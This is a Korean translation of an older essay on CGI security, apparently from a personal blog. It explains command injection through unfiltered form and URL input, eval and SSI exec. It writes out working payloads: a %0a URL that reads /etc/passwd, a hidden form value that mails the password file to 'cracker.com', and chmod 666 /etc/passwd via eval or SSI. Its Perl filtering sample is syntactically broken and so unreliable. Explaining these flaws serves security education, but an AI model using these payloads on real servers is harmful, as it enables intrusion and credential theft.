저자 : Gregory Gilliss
번역 : 정세준 <hooamail [at] hanmail [dot] net>

이 글에서는 Common Gateway Interface와 월드와이드웹, 인터넷의 관계에
대해 이야기할 것이며, CGI를 사용함으로 인해 노출되는 시스템 보안문제를 지적할
것이다. UNIX 운영체제는 이 글의 중심 플랫폼이 될것이며, 프로그램은 PERL 예제로
설명할 것이다.

1. 소개
Common Gateway Interface(CGI)는 Hyper-Text Transfer Protocol(HTTP)을
해석하는 Information 서버와 클라이언트 프로그램사이의 통신을 가능하게 해주는
일종의 인터페이스이다. TCP/IP는 서버와 CGI 스크립트에 의해 사용되는 통신
프로토콜이고, 기본 포트는 80번 이지만, 다른 포트가 사용될 수도 있다.

클라이언트 쪽에서 CGI 스크립트는 간단한 작업을 수행할 수 있다.
Hyper-Text Markup Language(HTML) 문서 포맷을 만들고, 동적으로 HTML 문서를
생성시키고, 동적으로 사실적인 이미지를 생성시키는데에 CGI 스크립트가 사용될 수
있다. 또한 기본입출력을 이용하여 기록업무도 할 수 있으며 액세스가 가능한 시스템
환경 변수에 정보를 저장한다. CGI 스크립트는 또 커맨드 라인 변수를 받아들이며
다음 두가지 기본 모드를 수행한다.

- 첫번째 모드에서 CGI 스크립트는 기본적인 데이타 처리를 수행한다. HTML
문서의 문법을 검사하는 웹페이지가 그 예이다.

- 두번째 모드에서 CGI 스크립트는 클라이언트 프로그램에서 서버로,
서버에서 클라이언트로 이동되는 데이타의 통로로 작동된다. 그 예로, CGI는 서버
데이타베이스 프로그램의 앞부분으로 사용될 수 있다.

CGI 스크립트는 컴파일 언어, 인터프리터 언어, 스크립트 언어로 만들수
있다. 컴파일된 프로그램이 AppleScript, TCL, PERL, UNIX 쉘 스크립트같은
인터프리터 프로그램보다 더 빨리 실행되는 경향이 있으나, 인터프리터 언어는
소스를 수정하고 얻기가 쉬우며, 일반적으로 컴파일 프로그램보다 빨리 개발된다.

CGI 프로그램에 사용되는 공용 메소드는 HTTP 1.0 명세서에서 정의되는데, 이
글에 적합한 메소드는 'Get', 'Post', 'Put'의 3가지이다. 'Get' 메소드는 서버에서
클라이언트로 정보를 가져오며 'Post' 메소드는 클라이언트로부터 전송된 정보를
지정된 타겟의 입력으로 받아들이도록 서버에게 요청한다. 'Put' 메소드는
클라이언트로부터 전송된 정보를 지정된 타겟의 대체로 받아들이도록 요청한다.

2. 취약점

CGI의 취약점은 CGI 그 자체가 아니라, HTTP 명세서와 다양한 시스템
프로그램의 취약점이다. CGI는 그런 취약점들을 간단히 액세스할 수 있도록 한다.
시스템을 공격하는 다른 방법들이 있는데, 예를 들어 안전치 못한 파일 퍼미션은
FTP나 Telnet으로 공격받을 수 있다. CGI는 이런 것들과 다른 헛점들을 공격할 수
있는 많은 기회를 제공한다.

CGI 명세서는 파일을 읽고 쉘을 획득하고 서버 파일 시스템을 망가뜨릴 수
있는 기회를 제공한다. 다음은 액세스를 획득하는 방법이다 : 스크립트의 assumptions
공격, 서버 환경 취약점 공격, 다른 프로그램과 시스템 콜의 취약점 공격. CGI
스크립트의 취약점은 주로 입력 확인이 불충분하다는 점이다.

HTTP 1.0 명세서에 따르면, CGI 스크립트에 전해지는 데이타는 어떤
하드웨어나 소프트웨어 플랫폼에서도 동작할 수 있도록 암호화 되어야 한다.
Get 메소드로 CGI에 전송되는 데이타는 Universal Resource Locator (URL)의 뒤에
추가되며, QUERY_STRING이라는 환경변수로 CGI에 의해 액세스된다. 데이타는
앰퍼샌드(&)로 구분된, '변수=값'의 형태로 전송된다. 앰퍼샌드와
non-alphanumeric 문자는 escape 되어야 하며, 이것은 두자리의 16진수 값으로
암호화되는 것을 말한다. 암호화된 URL에서 escape된 문자앞에는 퍼센트부호(%)가
붙는다. 그것은 사용자가 입력한 데이타에서 문자를 제거하거나 escape 하도록 하기
위한 것이다. HTML 태그인 '<' 와 '>' 같은 문자들은 보통 다음과 같은 간단한
검색/대체 오퍼레이션으로 제거된다.

----------------8<----------------------------------------------------------

# Process input values
{$NAME, $VALUE) = split(/=/, $_); # '변수=값' 같은 쌍을 분리
$VALUE =~ s/+/ /g; # '+'를 ' '으로 바꿈
$VALUE =~ s/%([0-9|A-F]{2})/pack(C,hex,{$1}}/eg; # %xx 문자를 ASCII문자로 바꿈
# 메타문자 escape
$VALUE =~ s/([;<>*|'&$!#()[]{}:"])/$1/g;# 원치않는 특수문자 제거
$MYDATA[$NAME} = $VALUE; # 배열에 값 할당

----------------8<----------------------------------------------------------

이 예제는 쉘이 명령 구분자로 인식하는 세미콜론 같은 특수문자를 제거한다.
데이타에 세미콜론이 포함된다는 것은 입력으로 명령을 추가할 수 있다는 것이다.
바꿀 문자 앞의 슬래시에 주목하라. PERL에서 백슬래시는 다음 문자를 처리하지
않도록 인터프리터에게 지시한다.

위 예제는 다른 명령을 실행하는데 사용되는 New line 문자 '%0a'의 경우를
포함하지 않기 때문에 불완전하다. 따라서, 스크립트 외부 함수를 실행하기 위해
URL에 스트링을 추가할 수 있다. 예를 들어 다음 URL은 /etc/passwd를 복사한다 :

http://www.odci.gov/cgi-bin/query?%0a/bin/cat%20/etc/passwd

'%0a'와 '%20'은 각각 ASCII line feed와 blank이다.

CGI의 인터페이스는 Form이라 불리는 HTML 문서이다. Form은 HTML 태그
<INPUT>을 가진다. 각 <INPUT> 태그는 연관된 변수 이름을 가진다. 이것은 앞서
언급된 '변수=값'의 왼쪽을 형성한다. 사실, CGI가 <INPUT> 필드의 내용을 거를수도
있지만, 그렇지 않다면 위 예제의 상황과 유사하다. <INPUT> 데이타를 거르지 못한
CGI는 인터프리터에게 직접 데이타를 전송할 것이다. **

가끔 보이는 Form의 또다른 태그는 <SELECT>이다. <SELECT> 태그는
클라이언트 사용자가 유한한 개수의 항목중 선택하도록 한다. 선택된 것은 CGI로
전송되는 '변수=값'의 오른쪽이 된다. CGI는 자주 이미 정의된 데이타라 가정하고
<SELECT> 필드의 입력을 거르지 않는다. 또 다시 이 데이타는 인터프리터에 직접
전송될 것 이다. 컴파일된 프로그램 또한 특수문자 제거나 입력 거르기를 수행하지
않는다면 취약할지도 모른다.

UNIX 메일 프로그램을 호출하는 쉘 스크립트나 PERL 스크립트는 쉘로 빠지는
데 취약할지도 모른다. Mail은 form 명령 '~!command'를 받아들이고 명령을 실행하기
위해 쉘을 fork시킨다. 만일 CGI가 '~!' 시퀀스를 거르지 못하면 취약한 것이다.
Sendmail 취약점은 이런 방법으로 공격된다. 문제는 입력문자를 적절하게 거르지
못하는 스크립트를 찾아내는 것이다.

만일, 단지 한개의 변수를 갖는 UNIX system() 콜을 포함한 CGI를 찾을 수
있다면 그것은 시스템 출입구를 찾은 것이다. system() 함수가 단지 한개의 변수로
호출되면 시스템은 별개의 쉘을 fork시킨다. 그렇다면 입력에 데이타를 추가해서
예기지 못한 결과를 초래할 수 있다. 예를 들어, 다음을 포함하는 PERL 스크립트 :

system("/usr/bin/sendmail -t %s < %s", $mailto_address < $input_file");

은 $mailto_address 변수에 있는 mail 주소로 $input_file의 복사본을 보내도록
되어있다. 한개의 변수를 가진 system() 호출로 프로그램은 별개의 쉘을 fork시킨다.
form으로의 입력은 :

<INPUT TYPE="HIDDEN" NAME="mailto_address" VALUE="address@server.com;mail
cracker.com < /etc/passwd">

우린 이러한 취약점을 공격하여 서버에서 패스워드 파일을 얻을 수 있다. ***

system() 함수는 단지 새로운 쉘을 fork시키는 명령이 아니다. 하나의 변수를
가진 exec() 함수 또한 같은 취약점이 있다. 파일을 열고 결과를 파이핑(piping) 하는
것 또한 독립된 쉘을 fork시킨다. PERL에서 함수 :

open(FILE, "| program_name $ARGS");

는 파일을 열고 program_name의 내용을 파이프(pipe)한다. 그리고 그것은 독립된 쉘로
실행할 것이다.

PERL에서 eval 명령은 어떤 변수가 전송되든지 분석하고 실행한다. 임의의
eval 명령을 입력으로 하는 CGI는 사용자가 원하는 어떤것이든 실행하는데 사용될 수
있다. 예를 들어,

$_ = $VALUE;
s/"/"/g # " " 를 피함
$RESULT = eval qq/"$_"/; # 입력이 올바른지 검토

는 따옴표가 인터프리터를 혼동시키지 않는다는 보장이 없다면 $VALUE에서 eval으로
데이타를 전송할 것이다. 만약 $VALUE가 "rm -rf *"을 포함한다면 결과는 비참할
것이다. 파일 퍼미션은 주의깊게 검사해야 하며, world readable한 CGI는 복사, 수정,
대체될 수 있다. 게다가 다음을 포함하는 PERL 스크립트는 :

require "cgi-lib";

cgi-lib라는 라이브러리 파일을 가지고 있다. 이 파일의 퍼미션이 안전하지 않으면
스크립트는 취약하다. 파일 퍼미션을 체크하려고 CGI의 URL에 Get 메소드를 사용해서
'%0a/bin/ls%20/usr/src/include"를 추가할 수 있다.

라이브러리 파일의 복사, 수정, 대체는 사용자들이 라이브러리에 있는
명령이나 루틴을 실행하도록 허락하는 것이다. 또 보통 /usr/bin에 있는 PERL
인터프리터가 SETUID root로 실행된다면 인터프리터를 통해 시스템에 직접 명령을
전송함으로써 파일 퍼미션을 수정하는 것이 가능하다. 위의 eval 명령 예제는 world
writable한 패스워드 파일을 만드는

$_ = "chmod 666 /etc/passwd"
$RESULT = eval qq/"$_"/;

의 실행을 허가할 것이다.

몇몇 HTTPD 서버에서 지원하는 Server Side Includes (SSI) 라는 것이 있다.
이것은 외부로 나가는 문서를 클라이언트 브라우저로 보내기 전에 서버가 수정할 수
있도록 한 구조이다. SSI는 *거대한* 보안 취약점이며 경험없는 대부분의 시스템
관리자를 제외한 모든 사람들이 disable 해 놓는다. 하지만, SSI를 enable 시킨
사이트가 있다면 명령 문법은 :

<!--#command variable="value" -->

명령과 태그 둘다 소문자여야 한다. 만약 스크립트가 입력을 제대로 거르지 못한다면
다음과 같이 입력하라 :

<!--#exec cmd="chmod 666 /etc/passwd"-->

모든 SSI 명령은 파운드 부호(#) 다음에 키워드를 가지고 시작한다. "exec
cmd"는 따옴표안의 명령을 실행시키는 쉘을 실행시킨다. 이 옵션이 켜져있다면,
목표로 하는 machine에서 막대한 유연성을 가지게 된다.

3. 결론

적절하지 못한 CGI 사용은 사용자들에게 시스템 보안에 대한 수많은 취약점을
제공한다. 사용자 입력 거르기 실패, 서투른 함수 호출 선택, 그리고 불충분한 파일
퍼미션은 모두 CGI의 잘못된 사용으로 공격 받을 수 있다.

* 각색 : Mudry, R. J., Serving The Web, Coriolis Group Books, p.192
** Usenet 게시 : Jennifer Myers
*** 각색 : Phillips, P., Safe CGI Programming

'Security' 카테고리의 다른 글

logcheck (시스템로그 체크)  (0) 2001.09.17
리눅스에서 표준보안 퍼미션  (0) 2001.09.03
tcpdump(네트워크 모니터링툴)  (0) 2001.09.03
각종 remote 명령들  (0) 2001.09.03
bash_history  (0) 2001.08.31

+ Recent posts